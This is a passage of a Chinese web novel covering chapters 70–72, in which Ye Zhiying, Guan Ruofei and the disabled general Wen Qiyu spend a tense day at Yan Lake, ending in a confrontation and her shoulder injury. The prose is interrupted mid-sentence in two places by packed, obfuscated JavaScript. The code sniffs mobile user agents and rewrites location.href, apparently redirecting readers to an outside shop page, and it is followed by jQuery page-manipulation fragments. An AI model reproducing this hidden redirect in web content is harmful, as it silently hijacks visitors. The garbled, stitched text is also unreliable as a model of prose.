关若飞继续道:“原本蒙州边境有我叔父带兵驻守,我叔父骁勇善战,智勇双全,为邺国上阵杀敌三十年,可他还不到五十岁,脑子就开始不灵光,先是记性变差,性情大变,后来竟然连我们都认不出来了,无奈只能告老还乡。兄长本是我叔父麾下副将,也是我叔父的徒弟,叔父离开后,兄长便继续带兵镇守边境。兄长虽年轻,却比叔父更加厉害,那几年,打得阿尔钦再也不敢踏入邺国半步。原本以为邺国能在兄长手中解决这烫手的山芋,不曾想兄长又遭了阿尔钦的暗算!”说到气愤处,他握拳重重将拳头砸在桌子上,桌子被砸得发出一声巨响,“如今邺国南境同样虎视眈眈,还有两位大将军都镇守在南境不能离开,其余官员难堪重用,啃不下阿尔钦这块恶骨,蒙州已无将可用。” 叶之萤这下才明白为何关若飞要叫温其玉“兄长”,并且邺国如今的处境竟已如此艰难…… “所以你其实是去送信的?”她转头问关若飞。 “是!此信关系邺国安危,黎城到蒙州又路途遥远,为防路上生变,我须亲自送往。” “从这里到阿尔钦要多久?” “选千里马快马加鞭、日夜兼程,也得七日。” “可是时局一直在变化,等那边的信送过来,你再送信过去,半个月都没了,这策略还能用得上吗?”她不免对他们这个方法的效率产生了怀疑。 关若飞则开始对床上的人一通夸赞:“你担心得没错,但一个好的军师可根据局势分析敌人的情况,预判敌人后续的策略,从而制定缜密的对策进行打击。此次,兄长的计策就成功击退了阿尔钦对蒙州的侵略,边境紧张了许久,如今终于得以喘一时之息。” 叶之萤并没有顺着关若飞的话对某人表达崇拜,她只是有些担忧:“可是……也不能次次都靠飞书打仗吧?” 她知道温其玉是整个邺国最厉害的大将军,可邺国将赌注全部压在千里之外的前任将军身上,也不是长久之计啊! “是啊,但如今朝廷无人可用,只好走一步看一步了。”关若飞拉她坐在桌旁的凳子上,拿了一块糯米糕给她,“天无绝人之路!此番兄长出马,挫了阿尔钦的锐气,不如明日我们三人一起结伴去登山,庆祝庆祝!” “一起?庆祝?”叶之萤被关若飞乐观的心态惊到了,刚准备放进嘴里的糯米糕也定在了嘴边。 当然,她这么大反应还有另一个原因——她还在跟温其玉置气,并不想就这么轻易地饶了他。 关若飞还以为她是在为温其玉如何能爬山而吃惊,便向她解释:“香雪山下有一片大湖,名为‘雁湖’,因每年秋冬都有无数大雁在此过冬而得名,周围还有草坪上千亩,是个消暑纳凉的好去处。这几日气候炎热,最适合去那里游玩。” 叶之萤此时却在想,上午已经应下了关若飞明日和他去爬山,如若这会儿突然又不去了,摆明是针对温其玉,关若飞要是因此追问他们之间发生了什么,要怎么解释? 但如果继续答应的话,这一路上互相不理睬,得有多尴尬? 当然,最重要的一点是——她发现自己压根就不想拒绝! 哪怕温其玉对她说了那样冷血的话,哪怕她依然在生他的气,哪怕她连一个多余的眼神都不想给他…… 她还是想和他一起出去! 草!叶之萤,你怎么会变得这么没出息? 温其玉也意外得没有对这一提议开口拒绝,叶之萤猜想,他们可能在她进来之前就已经商量好了。 现下,二人都等着她的回答。 到底该不该答应呢?手中的糯米糕被她用手捏散,掉在了裙子上,又顺着裙子滚到桌子下面。 “好!那就明天!”她想,惹祸的人都不尴尬,她又没做错什么,有什么好尴尬的? 第二日一大早,阿力、阿卓就开始为外出做准备。 温其玉出一趟门不容易,要带的东西也格外多,好在他有一架大马车,两匹马拉着,足够放下所有的东西。 这是他们第二次全员出动,为了方便游玩,叶之萤特意穿了温其玉之前为她准备的男装出行。 由于她个子高,穿起男装并不违和,反而雌雄莫辨,英气十足。大家伙头一回看她穿男装,都被她的扮相惊得合不拢嘴。 路上,她与关若飞骑马而行,阿卓驾马车,阿力和荣祥则在马车里伺候温其玉。 自关若飞送她“大白”也一月有余了,今日才第一次骑着它出门。准确来说,这是叶之萤二十八年以来第一次骑着马行走在市井,这种感觉很是奇妙。 街上很多女孩子与她擦身而过时都交头接 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“你不信?”他指着身后的马车得意道,“从小我就跟着兄长骑马打猎,他可是邺国骑术第一人,不仅骑术厉害,马上骑射的本领也是无人能敌,正所谓‘名师出高徒’,你可不要小看我!” 马上骑射?叶之萤心里突然一颤,眼前里出现了刚才关若飞骑马的样子。 温其玉若是骑马奔驰,样子必定还要潇洒许多!可遗憾的是,她还不曾见过他英姿勃发、骑马射箭的样子,以后也见不到了。她见到的他,别说拉弓骑马,就连一支箭都拿不起,也永远都上不了马了。 “他现在变成这样,得多难受啊!”叶之萤心里堵得慌,情绪也跟着低落了。 “总有一日,我要让格勒品尝到同样的滋味!”身旁的关若飞掷地有声地留下这句话,使劲一拍马背,身下的马突然就狂奔起来。 原来害温其玉的人叫“格勒”。叶之萤记住这个名字了! “对了,昨天忘了问你,为什么要将那么重要的事情告诉我?那可是你们的秘密啊!这么信任我?”她也一拍马背,又追上了关若飞。 “夜莺,我不想你误会我!”关若飞拉了一把缰绳,与她并肩而行,语气极为郑重。 “那你就不怕我把这事说出去吗?” “你不会的!兄长不会看错人!” “哦?”此事又和温其玉有关?但凡话里关乎某人,叶之萤都会产生极大的兴趣。 关若飞目光一收,道:“昨日我先与兄长商量欲将真相告知于你,兄长并不认可我的想法,但他说你是值得信赖之人,必不会将此事泄露,若我真想告诉你,他也不会反对。” “是……是吗?”叶之萤心里一暖,牵着缰绳的手不自觉收紧,身下的“大白”也听话地放缓了脚步。 70. 乌龙事件 又行了一会儿,几人便来到了雁湖边。这地方风景秀丽,银装素裹的雪山、浮光跃金的湖水、郁郁青青的草坪、枝繁叶茂的树木,真乃郊游圣地。 他们在湖边找了一棵足以遮盖八分之一个球场的巨树。 阿力和荣祥将温其玉抱下马车,扶他在轮椅上坐好,先推去树下乘凉。又从马车上搬出躺椅摆在树下,躺椅上铺着的依旧是叶之萤缝的那张垫子。 叶之萤也不知是不是把这丑垫子看顺眼了,今日在自然风光的映衬下,她居然看出了它身上有一种返璞归真的美感。刚一出现这个念头,她就“噗嗤”一声笑了出来,笑自己真会给自己稀烂的手艺找补! 一旁的温其玉见她对着那张垫子突然发笑,摸不准她此时的情绪,心里直发虚,猜想她莫不是因为屡次被自己拒绝,就想收回这垫子?这念头一冒出来,便不由得焦虑起来。 叶之萤刚收住笑,一大滩水就泼到她侧脸,随之而来的是关若飞的大笑。 “关若飞,你找死!”她大吼一声,即刻将手中的包袱随手扔到身旁之人的腿上,飞奔到湖边,捧了一捧水泼到关若飞头上。 温其玉看着腿上的包袱,焦躁的心情逐渐转好。那边的躺椅明明离她更近,她却还是选择把包袱扔在自己身上,这说明,她是依赖自己的。 可转念再一想,自己不是要推开她吗?他望着那只包袱,又陷入了痛苦…… 一旁的荣祥看自家少爷竟然望着一只包袱傻笑,笑着笑着突然又愁苦起来,感慨爱情竟能将好好的人变得这样痴傻,不禁仰天长叹起来。 叶之萤脚下的鞋子很快就湿了,她脱了鞋袜,顺手扔到树下,又将衣服挽起来,和关若飞在湖边玩起了泼水大战,期间还趁阿力不备拉他一起下了水。 虽是盛夏季节,但湖水还是冰凉的,脚踩在水中,就像踩着一块寒玉,满身的炎热顺着脚底全都溶在这冰凉的水里。 湖水被扬在空中,阳光透过水珠,光线在圆形的水珠内部发生折射,那些水珠就变成一颗颗晶莹闪耀的钻石,在他们眼前飞舞、碰撞,散发着斑斓的火彩。 打闹的间隙,叶之萤偷偷瞥了几眼树下的温其玉,却不巧每次都与他四目相对,这让她很难不怀疑他根本就是一直在看她。他坐在那里一动不动,安静孤独的身影与他们的吵闹格格不入,看起来心事重重。 一阵放肆的打闹后,仨人喘着粗气、意犹未尽地返回树下乘凉。 身上的衣服早就被汗水和湖水一齐浸湿,头上也冒着细密的汗珠。叶之萤见另外两人都脱了外套,把衣服平铺在太阳底下晒干,便也学他们脱掉了外套。 “夜莺,你这举手投足真没一点儿小娘子的娇羞。”关若飞撇嘴道。 叶之萤把外套铺在有阳光的地方,自己也站在阳光下晒了起来:“我当你是在夸我,谢谢!” 多久没有这样肆无忌惮地晒过太阳了?叶之萤已经不记得了。 “当然是夸你,我就喜欢你这样,豪爽大气,一点也不做作!” 突如其来的彩虹屁,让准备继续和关若飞斗嘴的叶之萤瞬间哑火。 她又忍不住偷瞄了一眼那个人,他正专注地看着不远处的某个地方,对她和关若飞的对话毫无反应。 叶之萤在心里翻了个白眼,调侃关若飞道:“你的嘴什么时候抹蜜了,这么甜?” “你终于发现我的优点了,我一向如此啊,你喜欢吗?” “喜欢啊!嘴上抹蜜总比嘴上抹毒要好。”她又脱了鞋袜,把它们也晾晒起来。 刚一抬头,一块鹅黄色的手帕就出现在她面前,吓得她连忙后退两步,再一看,托着这块手帕的是一只纤纤玉手。 顺着这只手一直往上看,发现面前立着的是一个小姑娘。看起来十五六岁的样子,长着圆圆的粉嫩小脸、圆圆的大眼睛、圆圆的小鼻子,以及圆圆的樱桃小口,正灿烂地冲她笑。 “姑娘,有事吗?”她疑惑地开口问道。 “哦,我……”小姑娘声音软软的,脸上也有些害羞,“我见公子额上有汗,身上见湿,便想着送块手帕过来,公子若不嫌弃,可以用它擦擦汗水。” 小姑娘的声音很小,说话间,眼睛一直盯着自己的脚尖,都不敢抬头看她,脸上却已然浮上了红晕。 公子?原来是把她当成男人了?! “咳……”叶之萤调整了一下嗓音,“多谢姑娘,我……” 她本想拒绝,但见她如此紧张,想到了自己被拒绝时的难堪,心生不忍,心想不过是条手绢而已,收下也不会怎样,便从她手中接过了手帕。 没想到,那手帕下面还藏着一张字条,取出来一看,字条上面写着她的姓名、年龄还有家庭住址。 这……这是要跟她处对象的意思啊!这么豪放吗? 她没敢细看,赶紧把手帕连带字条全部又塞回小姑娘手里,推脱道:“谢姑娘好意,只是……在下已有家室,姑娘的手帕值得送给更好的人。” 小姑娘被拒绝后,没有再说别的,捏着手帕便离开了。叶之萤目送她失望的身影渐行渐远,最终由一位中年妇人搀扶着上了一辆马车,站在原地,吓得久久不能回神。 身后的关若飞已经憋不住笑了。 “很好笑吗?”她白了他一眼。 “本以为你只是穿女装出门危险,没想到换上男装也不让人省心。”说着,他自然地拍了下温其玉的胳膊,道,“兄长,看来日后你对夜莺的保护要再升级了,哈哈哈!” “我自己能搞定,不需要谁的保护!”一提到某人,她的火就又冒上头了。 “平日里我与兄长出门也少不了有小娘子们在背后偷偷议论,今日竟然被你抢了风头,这路上的女子都被你迷得神魂颠倒,倒是连我看都不看一眼!”关若飞拿起一块龙井酥,边吃边抱怨。 叶之萤又是一个白眼:“你去湖边好好照照吧!咱俩的颜值根本不在一个级别,你有什么不服气的?” “颜值?是什么?”他听得云里雾里。 “就是美貌程度啊。”她走到关若飞面前,很自然从他正吃的那块龙井酥后面掰了一小点儿,放到嘴里尝了尝。嗯,味道很清新,还有股淡淡的奶香,是她喜欢的味道。 余光看到旁边那个人的眉心似乎扯动了一下,她不是很确定,但等再去看第二眼时,那里的皮肤早已风平浪静,看不出任何波澜过的痕迹。 不等她探究清楚,关若飞就打断了她的观察:“夜莺,说实话,你每天出门被这么多人打量着,不会觉得烦吗?” 她一屁股坐在那架空闲的躺椅上,说:“那有什么办法呢?女装不行,男装也不行,总不能以后出门都把脸遮上吧。” 没想到关若飞一拍大腿:“这主意不错!” 她白了他一眼:“不错什么不错!以前就是这样,每次出个门都裹得严严实实,偷偷摸摸生怕人看见,跟做贼似的。这辈子说什么我也不会再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991693|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样活了,我要自由地呼吸,喜欢看我的人就让他们看个够好了!” 她躺在摇椅上,深深地吸了口香甜的空气,美美地伸了个懒腰。明媚的阳光正从树叶的缝隙间漏下来,光影精灵在她指尖灵巧地跳动着。她收回手臂,惬意地眯起眼睛,在摇椅上晃了起来。 “阿卓、阿力、荣祥,你们牵着马去别处再吃些草。”关若飞突然发话示意他们回避。 树下转眼就只剩下他们三人。 “夜莺,以前喜欢你的男子是不是很多?”待那三个手下走远,关若飞谨慎地问她。 “这还用问吗?”显而易见的回答,她甚至都懒得睁眼。 “那你……”关若飞突然吞吐起来。 叶之萤大概猜到了他想问什么,看他问得那么艰难,她懒洋洋地睁开一只眼,慵懒地将头转向他的方向,说:“想问我有没有过男朋友?当然有了,还不止一个。” 两双眼睛瞬间齐刷刷望向她,他们都对此事表现出极大的兴趣。 “怎么?失望了?”她睁开了另一只眼,停下摇椅。 关若飞似乎还没从她亲口承认的事实中缓过神来,哑口无言,一副信仰崩塌的样子。 “追我的人那么多,如果给他们排个队,都能排好几百米远了,我怎么可能一个都没谈过?况且我也不是什么千金小姐、大家闺秀,我就是个戏子,你早就知道的,圈子里鱼龙混杂、乌烟瘴气的,我在里面待了快十年,你不会还幻想我是一朵出淤泥而不染的白莲吧?”说完,她便笑了起来。 叶之萤说的话并不真实,真实的情况是,在娱乐圈那几年,她虽然也参加饭局,也遭遇过职场骚扰,但却并没有做很多人想象中那些不可见人的勾当。 娱乐圈常说一句话,“小火靠捧,大火靠命”,而人们常说的还有另一句话,“谋事在人,成事在天”。 她一直觉得,自己能成为一颗耀眼的巨星,除了自己的努力之外,离不开命运的使然,她生来就是明星,生来就受人喜欢,这就是她的命。 她的命运就如那夜空中绚丽夺目的烟花一般,注定是高调登场、惊艳绝伦,继而迅速陨落。 关若飞平日里虽然行事张扬,但明显还是个孩子,想法天真。而且观察他平时的言行举止,他虽然年纪小,却还是有些儒家的迂腐思想在身上的。叶之萤的这番话令他窘迫难耐,整张脸都红了起来。 反倒是身边的温其玉还是一如既往的淡定,仿佛她说的这些事早已在他的意料之中。又或者他并不在意?可他的眼神中分明闪过一丝不甚明显的心疼。叶之萤感觉心房突然抖了一下。 这番话表面看似是说给关若飞的,实则是用来试探另一人的,而那人的反应并没让叶之萤失望。 “兄长,今日这龙井酥吃着与往常不同,似乎多了一股奶香?”正说着,关若飞毫无征兆地话锋一转。 “嗯,偶尔换换口味。”温其玉答得随意。 “兄长不是一向不喜欢龙井酥里加别的材料吗?我记得有一次厨房做龙井酥时给里面加了些果仁,你只尝了一口就再不吃了,说这些东西会遮住茶香的味道,都不如原汁原味的好吃。还有那日我让厨房做的豆糕,你嫌里面加了牛乳,一口都不愿尝试。什么时候换口味了?” 霎时间,叶之萤好像嗅到了空气中有火药的味道。 “口味是会变的。”温其玉的语气很冷淡。 “夜莺好像也喜欢奶香味的点心。” 71. 修罗场 突然被点名,叶之萤有种上课时被老师叫起来回答问题的紧张,还有种做了坏事被人发现的窘迫,支支吾吾道:“嗯……我……还好吧。” 不过是一句再正常不过的问话,她却心虚得不敢正面回答。 “原来人与人在一起生活久了,连口味都会互相传染。”这句话,关若飞更像是自言自语。 叶之萤瞥了温其玉一眼,他的脸很平静,平静得仿佛关若飞的质问根本与他无关,心理素质可见一斑。 “夜莺。”关若飞又点名了,叶之萤心头又是一紧,这场令人窒息的聊天到底什么时候才能结束? “干嘛?” “你喜欢什么样的男子?”下半场盘问开始。 她被问得一愣,目光不由地就转到了温其玉的方向:“爱是一种感觉、一种冲动,没有办法提前预设。” 在爱上温其玉之后,她终于明白了这个道理——爱情是这世界上最霸道、最不讲道理的东西。它会完完全全夺走一个人的理智,让现实主义的她无可救药地爱上一个和自己想象中的那个人相去甚远、甚至截然相反的人。 只是,温其玉何时才能像她一样,丢掉那该死的理智呢? 轮椅中的人垂下眼眸,死死地盯着摆在腿上的两只手。 他的右手已经开始渐渐好转,虽然还是没有什么力气,但原本蜷缩的五指已经可以伸直了。 左手就差得多了。由于常年不能动,他的左手已经开始不可避免的萎缩变形,五个手指全部蜷缩在手心,这样的状态,即使有解药,恐怕日后也恢复不了太多功能。 平心而论,温其玉每日的康复治疗做得已经足够认真。除了定期用腥月草解毒之外,还有每天雷打不动两个时辰的肌肉训练,每日早晚两次全身被动训练及筋膜放松,一日三顿中药,以及五日一次针灸。 但即使百般方法齐上阵,进展却依然比她之前预想的缓慢许多。 她想,假如他能恢复到可以自理的状态,或许还有希望让他松口答应自己,但假如他以后都需要人照顾,自己岂不是没希望了? 关若飞顺着她的目光瞥了眼温其玉,很快,又开口道:“夜莺,你对我并没有这种冲动。” “抱歉。”她承认得坦荡而干脆。 他反倒笑了,仿佛是自嘲,又仿佛是释然:“感情既然不能自控,又何需说抱歉。”又转而问温其玉,“兄长,你说是吗?” 叶之萤原本打算拧开壶盖喝水,可听到关若飞的话,手不自觉地停了下来。 温其玉从始至终都不想参与这个话题,面对关若飞一再的点名,他已经有些不耐烦了,冷语道:“感情之事我向来不懂,不必问我。” 谁知关若飞却不打算轻易放过他,又继续道:“从前兄长是忙于征战,才疏忽了个人的感情问题,如今兄长年纪也不小了,也是时候考虑个人的事情了。阿力和荣祥照顾得再好也是男子,到底不如女子心细。兄长喜欢什么类型的?我帮你物色物色。” 叶之萤也想听听他会如何回答。 “他们二人将我照顾得很好,女子不见得能比得过他们。况且,府里可靠可用的下人并不少,大可不必为此束缚旁人一生。”他的语气虽然很淡,却坚定得容不得反驳,仿佛这答案早就搁在他心里,只等有人来问。 关若飞却不赞同他的话:“兄长是朝廷的栋梁,邺国的英雄,博学多才,智勇双全,又家世显赫,若有哪位女子能与兄长琴瑟和鸣,那定是她的福气,何来束缚一说?兄长切莫妄自菲薄!” “福气?”他皱紧眉头反问道,似乎是有些困惑,而后冷笑一声,再没说话。 “莫非,兄长心里还惦记着陈小姐?”关若飞这话犹如平地一声雷,炸得叶之萤瞬间一个激灵。 陈小姐又是谁?怎么以前没听他们说过?她和温其玉有什么关系? 她忙放下水壶,一双媚眼睁得老大,看着对面的人,想等他一个合理的解释。 温其玉显然也没想到关若飞会好端端提这个人,一直低垂黯淡的双眸瞬间睁大。 叶之萤发现他偷偷看了自己一眼,又很快收回了目光,这一闪躲更坐实了他与那陈小姐之间的不清白!一阵醋意涌上心头。 许是感受到了叶之萤目光的灼热,温其玉始终冷漠的表情终于有了一丝紧张,但看了一眼关若飞,脸上又迅速恢复了刚才的冷漠。 “胡言乱语。”语气却已明显不悦。 没有任何的解释。叶之萤极其失望,她重新拿起水壶,脑子里却不受控制地想着那个陈小姐。 关若飞又问:“那……兄长觉得夜莺如何?” 叶之萤与温其玉被他这话吓得瞬间双双抬头,四目相对,电光火石之间,又匆匆收回各自的目光。 关若飞笑道:“兄长不必紧张,像夜莺这样美丽又有趣的女子,谁会不对她动情呢?” “若飞,适可而止!”温其玉终于被逼问得黑了脸。 对于温其玉的警告,关若飞不屑一顾地笑了几声,便没有再开口。 叶之萤低下头继续拧壶盖,却因为心不在焉几次都没有拧开,被关若飞抢过水壶:“我帮你开。” “不用!”她又一把夺了回来,借着拧壶盖的动作发泄心中的郁结,一使劲终于拧开了。朝口中猛灌了几口水,又重新拧上盖子,把水壶扔到一旁。 关若飞为什么要好好地说这些话?为什么要揭他最敬重的兄长的伤疤? 她从躺椅上站了起来,对他说:“不是说要爬山吗?现在走吧。” 香雪山风景秀丽,上山的沿途全是遮阴的大树。一路上叶之萤在前关若飞在后,两个人都埋头登山,各怀心事,一语不发。 半个多小时后,关若飞终于先忍不住了,在后面叫她停下。 “有什么想问的话就问吧。”叶之萤随意靠在了路边的一棵树上。 “兄长也喜欢你。”他还是那么直爽,连一个弯都不愿意拐。 叶之萤从来就不想骗他,便大方承认:“我不知道,但是我喜欢他。” 他长袖一甩,转过身去,将地上的一颗石子使劲一踢,那颗石子便顺着台阶一蹦一跳滚下山去。 她不知道该如何安慰他,靠在树上一言不发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991694|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 很久之后,关若飞终于再次开口:“端午那日,你随口说的一句关于眉笔的话,连我都没放在心上,兄长却记住了。还有那匹白马,想必也是你无意间向他透露的吧?说者无心听者有意,如此看来,兄长对你真是很在意。” 他依旧背对着她,佝偻着背,一只手扶着岩石,看起来很是落寞。 经他提醒,叶之萤这才想起了端午那日的情景,当时她好像是说过一句,“要是有根眉笔就好了”。 别说关若飞了,连她自己都差点忘得一干二净的一句话,那个人却一直放在心里。 她苦笑道:“他说,他对我……只是朋友间正常的帮助和关心。” “你信吗?”他转过身来,叶之萤这才发现他眼中有泪。 “信不信又能怎样?”她靠着树干坐了下去,无奈道,“不瞒你说,我已经跟他表白很多次了,都被他拒绝了。” 关若飞显然是没想到她和温其玉的关系已经发展到了这种程度,听她这么说,他吃惊地问她:“我不在的这些日子,你们都做了什么?” “我们……”她和温其玉都做了什么?叶之萤甚至都答不上来。温其玉能做什么呢?不过是闲来与她说说话而已,甚至这些日子,他连话都不和她说了。可他们的感情偏偏就如同山路两侧的大树,在不声不响中生长得枝繁叶茂了。 “兄长拒绝了你,看来还没有昏了头。”惊讶过后,关若飞走到她身边,和她并排坐了下去,看起来比刚才轻松了些。 “你也觉得他不应该答应我?”她反问他。 “夜莺!”他郑重地看着她道,“兄长如今的情况,你是知道的。倘若你是一个与我不相干的普通女子,不介意兄长的身体,愿意和他在一起,那我当然会为兄长感到高兴。可你是我喜欢的女子,即使你不会和我在一起,我也不愿眼睁睁看着你被兄长所累。若是兄长真的自私答应了你,即便他是我最敬重的人,我也定会去找他问个清楚!” 叶之萤一直以为关若飞是一个通透的人,可他如今说的这番话她却无论如何也接受不了。她不理解,为什么温其玉接受了她的感情就要被说成是自私?为什么大家都觉得他是一个负担?他明明什么也没有做错,为什么要承受指责? “你这是什么意思?就算他答应了我,那也是我和他之间的事,和你有什么关系?难道因为他残疾了,就永远都不配追求爱情了吗?”她按耐不住心痛,朝他怒吼起来。 “夜莺,我不是这个意思,兄长当然有资格追求爱情,只是那个人不该是你!” “他是你哥哥啊!连你都觉得他不配吗?” 叶之萤说完这句话,周围的空气突然安静了下来。 很久之后,关若飞扶着树干站了起来,他背对着她,缓缓开口道:“你们不合适!你值得更好的,他也是。” 说完,便独自一人朝山下走去。 夕阳迎面而来,他迎着金色的光亮而行,背后留下一片长长的阴影,叶之萤望着他逐渐远去的背影,道:“合不合适你说了不算!在我心里,他就是最好的!在他心里,我也是!” 72. 吐露心声 二人回到那棵树下时,温其玉已经挪到了躺椅上,正望着眼前被夕阳染红的湖水发呆。 阿力本想上前和他们打声招呼,但他很快就发现二人脸色不好,便打消念头退到一边去了。 关若飞狠狠地瞪了躺椅上的温其玉一眼,径直走到湖边骑着自己的马扬长而去。 “衙内!”阿卓眼看关若飞竟然一个人走了,想去追他又没有马,急得在原地跺脚。 叶之萤把自己的马借给了阿卓,而后背对着温其玉靠着树干坐下,心里五味杂陈。并不是因为关若飞的质问,而是因为温其玉始终不肯接受自己。 “我们也走吧。”身后的温其玉主动跟她说话。 她没有理他,直接与阿力、荣祥一起把东西收拾好,又一一搬上了马车。 “那个……阿力,我和你坐外面吧,让荣祥坐里面。”临出发时,她站在车厢外哀求阿力。 “可是,你会赶马车吗?”阿力为难地问她。 …… 她只好硬着头皮钻进了车厢。 车厢左边靠窗原本应该是一排座位的地方如今摆放着一张窄榻,温其玉正躺在上面,头朝车头,脚朝车尾。 右边的一排长椅上面放着一只木茶几,叶之萤坐在右边长椅靠车厢尾部的位置,一路上都低着头。 在这狭小的空间里,两人此起彼伏的呼吸声格外明显。一个缓缓的,沉稳的;另一个则是急促的、气愤的。 突然,外面传来了几个孩子打闹的声音,一定程度上缓解了车厢内不友好的气氛。 谁知,马车突然一个急停,惯性将毫无准备的叶之萤一下子甩到面前的茶几上。慌乱之中,她欲用手扶住茶几,可手一使劲,就把茶几推到了地上,整个右半边身体使劲撞在了长椅上。随着沉闷的“咔嚓”一声,肩膀连带着锁骨和肩胛骨的部位猛的一阵剧痛。 莫不是骨头断了…… 她疼得直抽气。 对面的人同样吓了一跳,忙命阿力停车。 叶之萤试图用右手撑着座椅起身,却发现右边半个身子都使不上劲了。 完了,看样子真骨折了。 “是不是胳膊动不了?”温其玉看她沮丧的表情,已经猜出了八九分。 叶之萤白了他一眼,又用左手扒着窗沿想把自己拽起来。 “先别乱动,等阿力扶你起来。” 她又白了他一眼,继续试了几次,实在拽不起自己,这才不情愿松了手。 阿力很快就进来了,在叶之萤“疼”、“先别动”、“啊啊啊”的哀嚎中,以及温其玉“慢一点”、“轻点”、“注意些”的叮嘱下,总算将她扶了起来。 原来是有几个小孩子在路边打闹,不知怎的就跑到了马车前,其中一个孩子又突然摔倒,阿力怕马踩到孩子,才只好紧急刹车。 “孩子们可有受伤?”温其玉问。 “那倒没有!就是……” “叶姑娘的肩膀伤势如何?”听到无人受伤,温其玉便没有心情听阿力再说其它,不耐烦地打断了阿力的话。 “肩膀的骨头摸着有些错位了。”阿力赶紧换到了正题。 “骨头没断吗?”叶之萤仍不放心,便想要抬起胳膊感受一下伤势。 “啊!!”肩膀处瞬间传来一阵钻心的疼,她痛苦地嚎叫起来。 温其玉也随着她的哀嚎皱起了眉。 “那怎么办?”她哭丧着脸问阿力。 “不要紧的,我现在给你复位一下,再修养几天就完全好了。”阿力安慰她道。 “复位?会不会很疼?”叶之萤身子已经不自觉向后躲闪去。 谁知就在此时,温其玉却突然开口,语气极不友善:“若你不想复位,那便这样忍着吧。阿力,不要管她了,去驾车!” …… “啊?”阿力似乎是不理解他刚刚说的话的意思。 “你……我……”叶之萤也被他莫名其妙的态度搞蒙了,她虽然怕疼,可她自始至终都没说不愿意复位,这位又犯什么神经,突然这么阴阳怪气的? 炮仗脾气也上来了,起身就要下马车。 阿力忙拦在车门处不准她下。 “你快点让开!”她捂着右肩,还试图用没有受伤的左侧身体撞开挡路的阿力。可整个身体的骨骼是牵一发而动全身的,左边一使劲,右边立马就跟着疼起来,疼得她蹲在地上直发抖。 温其玉的眉头也是越皱越深,眉间那两条平行的褶皱如今深得都可以通行火车了。 “叶小姐,别拿自己身体开玩笑!”阿力夹在二人中间也是不知所措。 右肩抽疼的频率越来越快,很快就几乎没有停顿了,叶之萤的额头也已经渗出了一层细密的汗珠。可她蹲在地上,依旧紧咬双唇,绝不妥协。 “少爷……”阿力只好向温其玉求助,毕竟祸是他惹出来的。 “不复位,会越来越疼的。”虽说是一句警告,但他的语气明显比刚才柔和了许多。 “疼也是我疼,又不是你疼!”说完还嫌不够解气,又扭头瞪着他恶狠狠地接了一句,“疼死了更好!省得整天碍你的眼!” 说完,豆大的眼泪就从眼眶里流了出来。 温其玉的目光也落在她挂着泪的脸上。 “对不起!”声音虽然不大,在封闭的车厢里却格外明显。 叶之萤抬起一双泪眼,委屈地看向对面的人。 “方才是我不对。”他又说了一遍,“让阿力先帮你复位吧,这种伤拖得久了,骨头更不易归位,到时怕是更要受疼了。” 什么?还会更疼? 温其玉成功吓住了她,她再不嘴硬,赶紧让阿力帮忙复位。 阿力见她怂得这么快,也忍不住抿嘴偷笑,发现被她逮了个正着,又不好意思地揉了揉鼻子。 阿力的手法着实娴熟,顶多两秒钟就将骨头复位了,但那两秒钟排山倒海的痛就好像有人拿铁锤头猛砸叶之萤的肩头,痛感直冲天灵盖,眼泪一下子就飙了出来。 可是复位之后,她右边身体还是不能动,阿力解释说,虽然骨头复位了,但因为挫伤,还需要修养一段时间才能彻底恢复。 阿力重新驾上了马车,车厢里再一次留下叶之萤与温其玉二人原地尴尬。 其实叶之萤大概明白温其玉刚刚为什么突然情绪失控。今日之事,不只她和关若飞憋屈,温其玉的心里始终也憋着一股气。 她和关若飞虽然吵架了,但至少他们都可以反抗,可以发泄。可温其玉不行,他认为造成这一切的原因就是他的身体,他恨自己的无能,对此又无可奈可。月满则亏水满则溢,情绪亦是如此,将那么多烦心的情绪统统塞进一颗不大的心里,总有兜不住的时候。 “你同意关若飞将你们二人密谋之事告诉我,不怕我说出去吗?”她还是没忍住主动跟他说了话。 “此事已成,阿尔钦也已猜到是我计划的,叶姑娘说出去也无妨。若是正在密谋之事,我断不会同意若飞告知于你。” …… 叶之萤本想借此机会感谢他的信任,合着又是自作多情了。可关若飞明明说了,温其玉亲口说她是值得信赖之人,关若飞总不会骗她吧? 二人至此一路无言。 晚饭依旧被阿力端到了温其玉房里,叶之萤不想再给阿力添麻烦,便硬着头皮在他房里吃了。 可她右手拿不了筷子,左手又一直夹不上菜,越夹不上越着急,越着急越夹不上,这让本就燥郁的情绪更加恼人,干脆扔下筷子气冲冲回房去了。 不一会儿,就有人敲门,她还以为是温其玉看她刚刚没怎么吃东西,特意交代阿力送饭过来,急忙跑过去开门。结果打开门一看,是柳儿站在门口…… “柳儿,有事吗?”她免不了有些失望。 小姑娘毕恭毕敬道:“叶小姐,少爷说您胳膊受伤了,怕您一个人做事不方便,让我来伺候您一段时间。” 那一闪而过的失望瞬间被这句话治愈。 还算他有点良心。 “这几日麻烦你了。”她没有拒绝他的好意,让柳儿进了门。 关若飞直到夜里才回来,叶之萤本来已经洗漱完毕准备睡下,却听见他好像进了温其玉门,随后,阿力也被他轰了出来。 直觉告诉她,他找温其玉定是因为白天的事,怕他干出混事,也赶紧跟了出去。 